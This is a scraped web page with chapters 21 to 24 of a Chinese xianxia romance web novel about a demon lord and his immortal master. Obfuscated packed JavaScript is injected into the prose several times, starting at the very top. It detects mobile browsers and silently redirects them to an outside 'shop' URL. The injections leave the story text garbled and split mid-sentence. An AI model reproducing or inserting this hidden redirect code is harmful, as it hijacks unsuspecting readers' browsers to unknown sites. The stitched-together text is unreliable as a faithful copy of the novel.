d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375708|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懵懵摇头:“不认识。” 师尊:“不认识也敢拿?” 小徒弟不以为意耸肩:“这有什么不敢的!反正有你闻笺在,悬壶济世,医术天下无双,能救旁人,也能救我。” 小徒弟小手一摆,颇为豪迈:“死不了!” 师尊捏着粽子糖低叹:“所以,这是在叫为师替你试毒?” “非也!非也!” 小徒弟煞有其事昂头,眉宇狡黠一转,装得是头头是道,沉吟:“我这分明是在孝敬师父嘛。” 随后嘿嘿一笑:“当然,也叫有福同享,有难同当!要死一起死!” “我对你好吧?” “伶牙俐齿。” …… 退出回忆。 陌归尘站在这方高高的戏台,望着天上月,静了片刻,又低头环顾四下人流。 耳畔又是挥之不去的对话: “爬树上做什么?” “闻笺,鉴于你昨日与我走丢,我想,只要我站得足够高,师尊就定会看到我,来接我。” “为师只是给你去买糖。” “那……难保以后呀。” “总之,我们以后若走散,我就往高处爬,爬到师尊一眼能瞧见我的地方,等着师尊来接我。” …… 好半晌。 他只等来一捧冷风。 陌归尘没再逗留,从戏台离开后,青年的红影隐进人群,不知怎的,又停下脚步。 他感觉,似乎有人在看他。 循着猜想的方向转头。 猝不及防与道白影对视。 白色人影站在桥头,远远瞧去,真像是误闯季节的雪景,陌归尘静静注视那人。 身处红尘,却不染风霜,这些年,连岁月也不忍苛待,那般的清隽飘逸,是时光也奈何不了的仙人。 终于,这样一位出尘的仙人迤迤然朝他走来,手里还拎着袋凡间俗物:粽子糖。 割裂,又无端的和谐。 真是和当年无差。 也不对。 差别挺大的。 简直是两个极端。 当年的闻青栀爬上高树,预料之中地等来师尊,接他入怀,带他回家。 如今的陌归尘登顶魔界,不久之后也将等到师尊,只是这次该是,提剑交锋,取他性命。 天空忽而飘下细雪。 隔着融融细雪,闻笺仍在向他这边走来,一步,两步,三步……越来越近。 陌归尘又难以遏制地想,既然仙门已在商议围剿魔界,怕是离兵戎相见那刻也不远了吧。 这场告别,约莫还差一个郑重的仪式,思及此,他不假思索撩开衣摆,利落跪了下去,左手叠在右手之上,沉沉拜了拜。 便当是单方面的拜别。 闻笺恰好来到他身前,凝出股灵力将他托起,问:“好端端的,这是做什么?” “没什么,只是想起来,似乎欠师尊一个规规矩矩的跪拜礼而已。” 陌归尘顺势起身,周遭人声鼎沸,数以千计的花灯纷乱飘起。 他们立在这片彩灯下。 斑斓的光落在闻笺眉眼,此一刻,方惊觉师尊常年波澜不惊的眸,好似暗了些许。 貌似是有点……生气? 错觉吧,他心道。 思忖间,陌归尘决绝转身,正欲扬长而去,身后忽而传来话音,宛若聊家常,闻笺的语气平静至极。 “下雪了,你想去哪?” 一句下雪,如在提醒着什么,体内血液随之翻腾涌动了一下,陌归尘蜷着指尖拢龙衣襟。 “回我该去的地方。” 此言过后,闻笺没再说话,似乎是并无挽留的意思,二人间流淌着微妙的沉默。 也是,本就该如此。 转身刹那,陌归尘已取下发间的桃木簪,银发软绸般,松散泼落肩背的瞬间,人也露出原本面貌。 雪还在下,他恍然垂下眼帘,细雪沾落眉睫,冻得人眼睑处缀上道淡淡的绯色。 也在眼尾化出点暖融水迹。 最熟悉的陌生人,不就该如现在这般,留彼此一个体面么? 停在这里,无疾而终,便是最好的结果。 如是想着,陌归尘松开指尖,任由那根浮华派内门弟子身份象征的桃木簪,随风雪落地,掩埋进尘土。 继续向前迈出步伐。 终于,身后人再次开口:“发簪丢了,是打算连为师也不要了?” 陌归尘脚步微滞:“师……仙尊,你该知道的,当初秘境,我本就不愿拜师,是你强留我,此乃孽缘,当断不断,反受其乱。” “闻青栀,你还要闹到何时?” 22. “抓住了。” 22. “闻青栀,你还要闹到何时?” 骤然传来的话语,叫陌归尘身形倏地僵滞,眉眼浸在夜色中,连带瞳孔的光都涣散片刻,须臾间又猛地敛起眼神,微抬下颌,望向满天绚烂的烟火。 明明身处喧嚣,竟也似落进风雪俱灭的寂寥。 好像什么也听不见。 失聪许久的青年,无情道:“仙尊认错人了。” 静了片刻,陌归尘感受到闻笺的身影慢慢靠近。 长影一点一点向他笼罩投来,二人愈发靠近,近到,独属于闻笺的栀子花苦味,也缓缓将他包裹。 近到…… 好似下一瞬,便要被人从背后拥住。 不知为何,那人蓦然停下,发乎情止乎礼似的,退回半步,拉到一个合适的距离。 许久后。 又感知到闻笺捡起发簪的手动了动,摸上他的发梢拢进手心,便又是一场漫长的寂静。 许是在反复细看吧。 陌归尘如是猜想。 好半晌,那人终于开口:“白发……不是说染的?” 白发……不是说染的? 白发……不是说染的? 白发……不是说染的? 堂堂玄胤仙尊,怎么会相信这番如此禁不起推敲的说辞,传出去怕是要滑天下之大稽。 陌归尘真的很想笑。 可比笑先一步形于色的是……眼角涌出的酸胀。 又涩又热。 盈盈翻滚。 指尖不动声色往眼尾向上一抹,隐去为数不多的水迹,青年面无表情转身。 冷言问:“重要吗?” “如何不重要?” “是,我骗了你,所以我们打平了,也两清了。”陌归尘淡漠抬手,不留情面地拂掉闻笺的掌。 “你走你的阳关道!” “继续做你光风霁月神圣不可侵的仙尊!” “我过我的独木桥!” 死了一了百了。 说话间,便是将闻笺一推,竟叫人趔趄倒退两步,脸色也煞白不已,捂了捂心口。 陌归尘尾指颤了颤。 他根本就没使灵力,玄胤仙尊,举世无双,怎么就虚弱至此,连这如凡人般的普通推搡也挨不住? “你。” 陌归尘伸手要去替闻笺把脉,那人不动声色避开,叫他生生抓了个空。 他冷不防觑了眼闻笺。 焉知这人竟不予他直视,眼神躲闪似的撇开目光。 闻笺:“为师无碍。” 陌归尘也不是好脾气的主儿:“随你,反正死了也不用我披麻戴孝。” 闻笺:“……” 闻笺:“听话,别闹了。”说着,便往徒弟手里塞进那袋粽子糖。 两人相距甚近。 陌归尘到底是半步飞升的境界,勉强能探到闻笺的心口处,灼灼发热,很是怪异。 依稀感觉是有什么东西,正在不消停地伴随血肉,蛮横滋长。 陌归尘神色微凝,饶是强大如闻笺,竟也禁不住煞白了脸色,眉骨愈渐薄出层冷汗。 那这玩意儿到底有多可怖? 接糖的功夫,陌归尘伺机而行,想去触碰一下。 手腕骤然被拽住。 闻笺的手冷若寒冰,制止着他:“为师确实无事。” 只一瞬间,又蓦然松手。 古古怪怪。 师徒二人就这么无声对峙。 雪越下越大,闻笺撑出把伞,大半边都倾向陌归尘:“下雪了,随为师回吧。” “回去?” 还能回去吗? 除非时光倒流。 陌归尘微微仰头:“闻笺,你知道什么叫‘造化弄人’么?” 闻笺抬手,拂掉徒弟鬓发的霜雪,将那桃木簪重新簪回去:“我只知,你六岁那年,与为师说过一句话。” “是什么?” “我命由我,不由天。” 他说过这种话? 连他本人都毫无印象,也难为师尊能记得一清二楚。 陌归尘一笑而过,眸底却不乏丝自嘲,摇头:“谁小时候没说过几句大言不惭的话呢。” “不作数的。” “闻笺,你这个当师父的,怎么比徒弟还天真?” 闻笺静默半息,依然垂眼望来,漆黑的眸融进夜色,看向他时,却给人以极大的安抚。 淡淡说:“为师信你。” “好呀,信我。” “那弟子希望师尊,千万别后悔今日此话。” * 师徒二人没有剖开心扉,没有互诉衷肠,更没有半句煽情的叙旧话,只是沿着河道逆行,静默了一路。 因着下雪,城中人少去大半,白雪茫茫,便显得那厢大红装饰的府邸尤为显眼。 偶有捧着喜糖之人路过。 “张大善人可真大方。” “那是,许我们又吃又拿的,难怪觅得好女婿。” …… 寥寥几句,陌归尘已猜出个大概,是镇子上的大善人招女婿入赘,姑娘凤冠霞帔,善人府邸宴请八方来客,朱红大门敞开,连城外的乞丐都能来讨一杯喜酒。 视线从那对新人的朱红喜袍移开,陌归尘低头环顾自己这身红衫。 其实他不是特别钟爱着红。 依稀记得是有一次执行师门任务,途中偶遇凡人成亲,高门大敞,自己也被热衷撒喜气的主人家请进去喝喜酒。 高堂之中。 二位新人对站,绣球同心结接连两厢大红喜服,夫妻对拜,真是他见过最亮丽的景致。 后来,他心不在焉回到山门,意料之中,看到那个迎风而立等他的白衣仙人。 师徒二人回了落霞峰。 彼时,还是青栀的他,翻箱倒柜,最后只找出一套嫣红蜀中锦罗裳,换上后,特地来到小筑后的竹林问师尊:“好看吗?” 那日的竹林。 曾单手抚琴便大败天下琴修,又一度威名显赫四海八荒的玄胤仙尊,破天荒地乱了个琴音。 好半晌,才颔首:“嗯。” 没在意这无关紧要的细节。 红衫青年抽出佩剑无双,裙摆随风浮荡,和着几片竹叶旋起:“那我给你舞一剑吧,正好看看我自创的剑法如何。” 随后,他摸出根红绸软带,蒙上双眼。 起剑那刻,秋蝶从他臂弯穿过。 煽动的翅膀,像极少年人心尖儿那纷乱的节拍。 …… 自那以后,他便日日红衫不离身,连亲近如二师姐和十三师兄那样的人都以为他偏爱上红衣。 只有他自己知晓,这是个要牢牢捂住的小秘密。 并非喜欢。 只是想为某人穿而已。 当初不懂。 后来便慢慢回味过来,连自己也无以得知这份爱意到底从何时开始变质。 唯一能确定的便是,过往岁月中,能寻出无数蛛丝马迹来印证自己不想再当师尊眼中需庇护的小徒弟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375709|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是要当如师尊那般人,当那个可以和师尊并肩同行的人。 当那个能在日落后,与师尊共剪烛心的人。 当那个下次再见时,能与师尊讨要一个……吻的人。 原来可以有那么一个人,既让他尝到情窦初开的甜,也令他深陷爱而不得的苦。 只因:师徒。 如此简单二字,足以令人溃不成军。 他们明明亲密无间。 却又似隔着道鸿沟。 跨不过,也不甘退回来。 便是如此,想放下你,还是忍不住靠近你。 奈何,纵然再近。 陌归尘余光偏移,悄悄看了眼身侧为他撑伞的闻笺,又默然无声垂下眸。 还是,咫尺,却天涯。 …… 镇上没有宵禁。 许多酒楼食肆亮着烛火。 陌归尘偏头功夫,阔步拐进家酒肆,一言不发落座。 闻笺也不多问,只随他坐到对面。 小二很快端来酒水温上,又上了几碟下酒菜与糕点。 陌归尘倚着窗口,单手托腮斟酒,自顾自地喝了两杯。 整个人沉沉闷闷的不说话,只晓得一杯杯灌酒。 温酒入喉,辛辣不已。 不知多少杯后。 不胜酒力的人猛地坠坠脑袋,却仍要去摸桌上酒壶。 “别喝了。” 酒壶被闻笺拿走。 陌归尘搭在桌面的手,胡乱向前抓,盯着闻笺那道摇晃的残影,越发不甘心去抓。 却徒劳。 掌心始终空空如也。 抓不住。 怎么也抓不住。 闻笺不知徒弟到底在抓什么,竟还抓得急眼了。 他起身,低叹:“回吧。” “哦。” 酒醉的徒弟嘟囔声。 却也丝毫没动,懒洋洋枕着手臂趴桌,眼尾缀上点粉意,眸里含着薄薄的水光,悄悄偷看他,许是被当场抓包,又猛地瞥向另一边,装作无事发生。 假若眼睛会说话,那么这个眼神真像在说:再看一眼吧,算了,还是别看了,反正他又不会来哄我。 * 玄灵宗,房中。 闻笺替徒弟温抚过一遍经脉,才掖好被子离去。 只是刚到房门。 榻上人忽地咛了声,不知在哼唧咕哝什么。 引得他边重回床边边化出灵丝,正欲替人探脉,却见徒弟身影单薄,正恬淡蜷缩在被中,乖巧温顺,如只安睡的小猫。 闻笺蓦地含糊低笑。 本来就是猫。 这么一失神的功夫,手腕骤然被人攥住就往下一扯。 三界无人能敌的玄胤仙尊,毫不设防地,被徒弟咚一声拽进床榻,带着滚了一圈。 那人顺势一跨。 整个人便是十分熟稔地跪坐在他腰腹处。 纯白灵丝松散掉下,落在陌归尘指端,随着他五指强行嵌入的动作,缠绕进师徒二人十指紧扣的指缝。 剪不断,理还乱。 也深深勒出几道紧致红痕。 大抵是被勒得难受,青年烦躁甩甩猫尾,醉猫是毫无逻辑可言的,只能循着猫儿本能,凑低脑袋,露出尖利的小犬牙,去撕咬这碍事的灵线。 片刻后。 银发青年方心满意足抖抖白绒绒的猫耳,重新挪回视线,趴伏那方坚实的胸膛,用满是醉意的朦胧眸子,端详自己的猎物。 笑意盈盈的:“抓住了。” 23. 贴心的老骗子。 23. 闻笺看着将他手掌死死扣在床,还堂而皇之跨坐他腰间的徒弟,眉眼压出点低沉。 “成何体统。” 室内又静又暗,只有月光泻进来的一点白光,混着淡淡桃花酒香,和徒弟那醉醺醺的神情。 “下来。” 明明是呵斥。 奈何醉酒的猫是听不懂的。 言行举止更是毫无章法,只软软耷拉下尖尖的猫耳,歪着脑袋,转转那双漂亮的异瞳。 鹦鹉学舌似的,跟着他喃喃:“成何体统,下来。” 声音低低的,含糊不清,像极牙牙学语的幼孩。 闻笺低垂的睫毛松动了一下,对上徒弟涣散的眸,俨然是醉得糊涂,没有任何思考能力。 半是无奈道:“罢。” “罢。” “别学了。” “别学了。” 闻笺真是被徒弟逗笑了。 那人直勾勾盯紧他,醉得一塌糊涂,还勉强撑着身子,仍是不放弃,又模仿他莞尔轻笑:“嘻嘻。” 闻笺哭笑不得闭目。 “你是小鹦鹉?” “你是小鹦鹉?” …… 如是闹腾了片刻,徒弟终于放开他,双手撑在他身,缓缓化成两只猫爪。 粉色的肉垫融融发暖。 爪子一张一合蠕动,还小心翼翼地收着尖锐的猫指甲。 揉踩着他。 银发松松散散叠落,脑袋也往他肩侧极力地挨蹭,喉间模糊滚出两声咕哝。 酒醉的徒弟,与白日里的孤傲冷僻判若两人,整只猫乖软黏人得不行。 似乎只有最不清醒时,那些遏制在心底的喜怒哀乐,才得到肆无忌惮的释放。 明明不该如此的。 好不容易养大的孩子,从前是那般的明艳活泼。 闻笺指尖挑起陌归尘的一抹银发,心底钝痛又袭来。 他忽然有些难过。 却没来得及思考自己为何难过,他想的是,他的徒弟,本该是那样意气风发的少年。 怎就一夜白了少年头…… 怀里的猫又欢喜地踩揉。 轻哼两声。 愉悦却也急切乱蹭。 遐想被打断。 闻笺欲言又止:“你……” 他低头,看着陌归尘原本的面容,看着醉得白里泛粉的眉眼。 想起了一位故人。 九尾族禁地,栀子花海中,故人交付他一个光球,光圈里悬空浮着只阖眼小猫,只有一根尾巴。 那时,故人临终向他托孤:“九尾一族命数已尽,但稚子何其无辜,我愿换他来这世间走一趟,若来日能降生,望你照拂一二。” …… 闻笺抿唇,捻着徒弟的后颈衫,把人拎出来:“想爹爹了?” 莫名被打断兴致,猫猫挣扎了一下:“唔。” 喝醉的猫猫显然也听不明白,只循着本性,又扑了回去踩奶,懵懵懂懂张嘴,小小含住师尊衣领一角,就嘬了起来。 * 翌日早。 陌归尘破天荒地醒得有些晚,却无宿醉后的难耐,浑身轻盈舒畅。 不用说,他也猜出十有八九是某位贴心的老男人偷偷给他温抚过经脉。 思忖间。 敲门声响起。 停顿半晌,又是“叩叩”两声,陌归尘声音冷淡:“没锁。” 吱哑—— 门开,素白身影背对片天光,款款踏进来。 手里还端着碗滋补羹汤。 陌归尘皱眉:“不是喝过了吗?还喝?” 闻笺坐下:“你瘦了。” 陌归尘:“……” 说得你自己胖了一样。 他无语掀眼,随后却又使坏一笑,指尖勾勾自己腰侧下方的布料。 勾栏态十足挑眉:“我这身材刚刚好,该有肉的地方都有,不信你过来摸摸。” 闻笺搁碗的手微抖,低斥:“说什么诨话。” 陌归尘甩开衣摆下榻。 先前话里嫌弃,现下行动倒是利落,起身走来,端起羹汤一饮而尽,不以为意嗤了声:“我还有更诨的。” 单手托腮,眉眼轻弯瞅着闻笺:“想不想听?” 好半晌,闻笺都没接话。 陌归尘斜瞪自家师尊。 无趣的老男人。 难怪这么多年还没开过荤,试问谁家好姑娘愿意当他师娘,这天底下,怕也就只有他能勉为其难接这烂摊子。 房中静得诡异。 陌归尘望去桌面,看着那盏忽然被自己师尊燃起的安神香,问:“什么时候看穿的?” 没头没尾的一句话。 那人却听懂了,并答:“第一眼。” ……很好。 无极魔尊眉眼蔫下,神情稍显挫败之际,却又听闻笺声淡如水道:“为师并非凭借修为看破。” “我知道。” 其实很早以前就有答案了。 “还有一点,百密一疏,万物皆有灵,落霞峰对你,从无禁制。” 陌归尘哑然,倒是他疏忽,落霞峰早已生出峰灵,连掌门师伯都敢拦,唯独对他,认主似的,从不设防御结界,就连那尊小灵藕都格外亲近他,如何不是万物有灵呢。 “那为何不戳穿我?” 话刚出口又沉默了,这貌似也早有答案,闻笺向来喜欢纵着他惯着他,甚至偶尔陪他胡闹。 不然他又何至于沦陷在这份仅限于赠他,来自闻笺的,世间独一无二的温柔。 原以为闻笺会淡然看他,一笑置之,不予回答,焉知这人收了空碗后,却是开口说话,语气轻轻的。 “可还记得中阴?” “中阴?”陌归尘略沉吟半晌,很快便从久远的记忆翻出些画面来,“有印象。” 遇见中阴那天的日子比较特殊,是三月初七,浮华派收徒大典的日子,也是他与闻笺初遇的日子。 更是他们重逢的日子。 所谓中阴,即人死后,魂魄化成执念滞留人间。 倘若执念被道破,那这魂体便彻底消亡于天地间,不复存在。 他问:“所以,你觉得我是中阴?才迟迟不戳穿我?” 闻笺摇头:“我怕我是。” 怕? 师徒相识这么些年,陌归尘还是第一次从闻笺口中听到这种词。 几乎是瞬间,陌归尘被闻笺这一番言行弄糊涂了。 他反驳道:“不对。” 轻喃声,他继而启唇:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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二人寒暄几句后,会议也正式开始。 昨日只是开胃前菜,今日方是伏魔大会正式召开的日子。 仙门十四州,各派各门掌门齐聚议事殿,决定成立仙盟同会,一举推选二竹弋为盟主。 因着魔界位于若水河以南,此次征战魔界、围剿魔头的行动也被命名为:若水南征。 陌归尘懒懒耷拉着脑袋。 散漫趴在桌子上。 他觑起半边眼,瞄了一下在场众人,推选二竹弋为仙盟盟主,也是难为你们想得出来。 那可是魔界的左护法。 但愿那老不死的东西来日掉马时,你们别哭得太难看。 指尖戳进青提盘子。 陌归尘翻转了一下,边玩青提边瞄旁边的桌子。 闻笺的位置还是空的。 所以,闻笺这家伙到底去哪了? 24. 邪神。 24. 玄灵宗议事大殿。 群情激昂,各门各派之人夸夸其谈各抒己见,陌归尘却无心留意,只懒懒散散趴在矮桌上。 主位的二竹弋也没细听。 他目不斜视殿中那红衫银发青年,此人那股子慵懒劲儿,真跟着只猫儿似的。 藏在袖中的指尖捏了个诀。 殿侧那扇窗,适时被阵风拂开,外面的日光投进,暖融融的一片,正好洒在陌归尘身。 许是感受到背部暖意。 陌归尘眯起眼,便往阳光所在方向挪了挪身子,整个人泡在其中,惬意自在阖眼。 这幕,看得二竹弋眸底的笑意更盛。 另一边的浮华派掌门华云舟,偏头斜觑陌归尘,见人一副放荡不羁的做派,就这么堂而皇之趴桌,顿时怒火中烧。 “陌归尘!你是没骨头吗?这样趴着,没个正形!成何体统!” 闻言。 陌归尘耷起半边眼皮瞄人。 直接转头换了个方向,继续阖眼小憩。 “你!简直目无尊长!” 华云舟气不打一处来,起身便想去逮人。 黄金连忙去扯自家师父衣袖:“师父,你快去帮帮忙呀。” 三长老耸肩点点徒弟脑袋,还是上前制止:“这孩子昨夜估计没睡好,师兄你就让他歇着呗,多大点事儿。” 华云舟:“我是替闻师弟管他!不然他得反了天!” 三长老:“闻师弟若在,估计得抱着他睡。” 华云舟:“……” 他猛地拂袖,重新落座:“溺爱!迟早要出事!行行行!你们一个个的都护着他,就我一个恶人!” 三长老连忙给人端酒:“息怒!师兄消消气!咱们又不指望他去打魔界,你就让孩子睡去呗!” 华云舟难免想起这人在门派是便是日日上课睡觉,冷哼:“就他那样松懈修行!我看他练得百八十年也碰不着那魔头半根手指!” “简直荒废天赋!” 三长老哄着道:“对对对!师兄所言极是,所以咱也别管他了。” 华云舟:“哼。” …… 很快便是晌午。 众人散去。 陌归尘瞥着旁边的空位,边伸懒腰边往外走。 稍微环顾四周,便是朝着玄灵宗最高的楼阁走去。 藏书阁,红砖绿瓦,雕梁画栋,整座楼阁气势磅礴,又不失古朴气韵。 朱漆大门前。 陌归尘抬眸看着这座高楼,藏书阁乃每个门派的重地,毕竟里面必然有不少罕见的修炼心法,原以为会受到阻拦,哪知守门的几名弟子见他,竟还朝他拜了拜。 “陌师兄。” 随后,几名弟子联手结印,厚重的朱漆大门便是这样畅通无阻朝他打开。 “你们这是?” 领头的弟子作揖微笑:“掌门师尊交代,浮华派陌师兄好学,若来藏书阁,只管放行。” 陌归尘也抱手回礼。 便是直奔顶层。 踩着青石地板,踏上环形楼道,一层又一层。 终于,视野豁然开朗,陌归尘拐出藏书阁最顶层。 玉石拱门的转角,却见一道玄袍影子伫立在书架旁,是二竹弋,那人对面还有抹雪影,只露出纤尘不染的一角。 很熟悉的白袍。 陌归尘眼里,除了闻笺,无人将如此素净的白衫穿出谪仙似的味道。 那人是闻笺么? 他快步上前。 刚穿过拱门,眼前骤然落下抹血色厚纱,陌归尘蹙眉,一把掀开血纱。 二竹弋已来到他跟前:“殿下来寻我?真是叫人受宠若惊。” 陌归尘:“……” 老不要脸。 他越过二竹弋往后看。 那边空空如也。 “是谁?” “什么是谁?” “你与谁会面?” “殿下是觉得我背着你私会情人?捉奸?” 陌归尘:“……” 老不死的玩意儿! 直接绕过二竹弋,来到这人方才所站位置,没探出第三人气息。 他回头:“你可以滚了。” 二竹弋:“……” 他负手立在原地,对面陌归尘神色冷淡,眼尾却总似缀着浓墨重彩的秾丽,哪怕貌若无盐,也渲得整张面容明艳撩人。 明明是在骂人。 却叫听者听得心尖儿酥麻,跟被勾了魂似的,挪不开眼。 直想再被多骂两句。 二竹弋面露哀怨:“殿下好无情。” 语毕,只见对方眼神更冷,似在寒潭浸泡过,冻得彻骨。 他眸光含笑,举起双手,投降似的:“好好好,这便滚,殿下金贵,可莫气坏身子骨。” 陌归尘语塞:“……” 若非这人走得利落,眨眼便下楼,他是真要过去踹两脚。 偌大的顶楼只剩他一人。 陌归尘这才注意到,手肘边有本被翻开的古籍。 他拿起,是本图录。 图录记载着不少神君神兽以及各个时期的大能。 陌归尘连翻几页,“邪神”二字倏然闯进视野,往下便是几列小字: 【邪神:形不朽,神不灭,世间唯一的无心无相无名之神】 粗略过目简介,他更好奇邪神的模样,毕竟他的魔宫中可是有着谣传是邪神躯体的千年灵藕。 往下翻。 一幅画像骤然而现。 画中男子踏月悬空,神色淡漠,长身鹤立,美如冠玉,明艳绝伦,是位高贵典雅的神君。 但画像左下角标记的却是“九尾族之王”。 是九尾族那位陨落的王。 并非邪神的画像。 陌归尘狐疑不已,又来回翻了翻,方发觉书缝有撕裂的痕迹。 显而易见。 邪神画像被撕掉。 陌归尘略有遗憾,但也没再纠结什么,毕竟是古籍,偶有残缺也实属正常,指尖捏上纸张,本想撕下九尾族神君的画像,又顿住。 二竹弋虽为他下属,可这到底非魔界所有物,不问自取,是为贼也,思忖间,陌归尘抬手便出张留影符,把画像复刻进留影符内。 刚把古籍塞回去,又心血来潮退回厚重的书架前,他记得昨日合欢宗似乎献媚送来好些合欢宗心法。 从小到大,闻笺什么都教,独独没向他传授过那方面的知识,更别提男子与男子该如何行床笫之事…… 他的好友,魔界那位右护法,见他无心男女之事,曾一度忧心他不能人事,便随便抓了几个绝色男姬让他试试。 与他说:“反正你在上面就对了。” 这话,总算给他某方面的匮乏认知里添上不可磨灭的一笔。 在上。 只是该如何在上,陌归尘又不得而知,想来合欢宗的心法应该会提及。 刚扫过几眼。 衣角却被扯扯,他低头,是那尊小灵藕。 陌归尘:“怎么上来的?” 小灵藕:“是个玄袍金冠男子,他放我上来的,守门弟子喊他掌门。” 一人一藕恰恰杵在窗边,陌归尘顺势倾身推窗,果不其然,看到二竹弋远去的背影,小灵藕也踩在桌子上踮起脚趴在窗口指人:“就是他放我进来的。” 陌归尘眯眼。 此人形迹可疑,事出无常必有妖,他倒是好奇这老东西在搞什么阴谋诡计,便是悄悄结印,往二竹弋身上打进道追踪符。 关上窗,回眸看小灵藕。 “你怎么来此了?” “师尊让我陪你玩。” “……” “我们玩五子棋吧。”小灵藕说话间,就地画出个棋盘。 “幼稚。”陌归尘冷冷觑人。 半盏茶时辰后。 “你就不能让让我嘛。”小灵藕委屈极了,朝鸡骨堆里吐出根骨头。 “吃你的,聒噪。”又一只鸡腿怼进小灵藕嘴里。 “你吃了好多,小心积食。” “你管我。” 话刚完,陌归尘忽地肃穆。 小灵藕:“干嘛呀?” 陌归尘起身,悄然往小灵藕身上打进道保护符咒:“你自己玩,我有事。” 小灵藕虽不解,也还是乖巧“嗯”了声,摇摇晃晃爬起。 目送小灵藕安全回到他的厢房,陌归尘才把视线投向魔界所在方向。 二竹弋这厮竟回了魔界,却不是去护法殿,而是进了魔宫。 青年抬袖一挥。 也回到魔界。 陌归尘直奔魔宫,匆忙走进的身影,叫满宫侍女守卫诚惶诚恐跪地:“尊主。” “嗯。” 红影翩然飘过抹流云般的袖角,便消失,留下一脸懵然的众人面面相觑。 红影消失。 众人也如蒙大赦作鸟兽散。 * 陌归尘无心留意他人,他放出神识探完整个魔宫,竟无二竹弋的气息,这是凭空消失了? 不知不觉间。 他来到竹屋,掀开竹帘,所幸,这尊灵藕还安然无恙坐着。 端来水盆,拧干绢布,陌归尘正欲给灵藕师尊擦手,刚碰到那手,竟烫得骇人。 叫他猛地收手。 陌归尘蹙眉怔怔,不信邪似的,再次碰回去,又如常冰凉。 给灵藕师尊净完手,青年也觉困倦袭来,顺势往旁边的美人榻躺下小憩。 外头日光正好,穿过窗棂,暖融融包裹他,不消片刻,便沉沉熟睡。 不知多久后。 熟睡的青年,总觉唇瓣似有羽毛覆落,轻盈软柔,却又如是块千年寒冰,凉得彻骨。 一点一点探索着他。 他挣扎着要推开。 奈何浑身乏力,身子沉得怎么也抬不起手来。 滑腻的液体,覆上嘴唇。 又慢慢渗进唇缝,陌归尘想要吐出来,只能倾尽全力用舌尖去搜刮着这些腥甜的液体,奋力推出去。 推得他大汗淋漓。 就快到齿关。 倏地,又被人堵住双唇,不知是什么东西滑进来,湿湿软软的,把那些黏.液顶回喉间。 “唔。” 温凉的液体源源不断地灌进来。 好多。 多得好像怎么也吞不完。 半晌后,陌归尘才总算恢复些力气。 想睁眼,却怎么也睁不开。 只能艰涩撑起身子。 脑袋却忽地被揉揉,那不知名的东西轻含他的猫耳尖。 嗓音如水流,激荡进耳膜,沉沉喑哑:“跑什么?” 身后的尾巴忽地被人一拽。 就被拖扯回不知谁身下。 “回来。” 厚实的手掌轻托着他脑后勺,撬开他齿关:“再喝点。” …… 项间的吊坠忽然灼灼发烫,嗡嗡震动,直将人从梦中拉出。 陌归尘猛地踏空惊醒。 他坐在榻上。 伸手抚过满头冷汗,环顾四周,一切安然无恙,又低头摸进项间莹莹发光的吊坠,方才是梦魇么? 修行艰难,尝尝有不少修士陨落在自己的心魔下,像他这般人,有心魔可太正常了。 紧紧攥着吊坠。 陌归尘叹出声来,其实他早就该明白的,掉落幽冥鬼涧都能安然无恙的吊坠,又怎会是凡品。 上次帮他击退敌人,这次又能及时将他从噩梦拉出的东西,绝对不简单。 其实只需四个字便能窥见其罕见程度 ——闻笺所赠。 师尊送的东西,就没有一样是敷衍他的残次品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375711|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>那个人,总竭尽所能把所有好东西留给自己的徒弟。 还常觉自己做得不够好。 * 醒来后。 陌归尘心不在焉离开魔宫,回到玄灵宗。 玄灵宗后山。 高大的树上,坐着抹红影,正是陌归尘。 他垂下一条腿,落拓不羁地倚着树晃悠,目光却一直落在玄灵宗山门入口。 这闻笺,整日不见人。 到底去哪了? 红影坐到夕阳西下。 天际霞光滚滚弥漫,自远方缓缓烧来玄灵宗头顶青天,红艳似血,又熔金般翻吐进云层。 终于,陌归尘看到天幕破出道白茫茫的剑光,那是霜寒剑的剑芒。 霜寒剑,乃师尊本命剑。 自打他认识闻笺以来,就只有幸见过霜寒剑出鞘一次。 时隔十多年。 再次出鞘,是为哪般? 剑光逆风落下,现出人影。 玄灵宗后山,霞光万丈,熠熠覆盖着闻笺那道身影,映得人整个躯体虚虚实实的,飘渺似魂魄。 逆着落日红霞,那人白袍纷飞,手握霜寒剑。 剑尖还在滴血。 就这么站在夕阳余辉下。 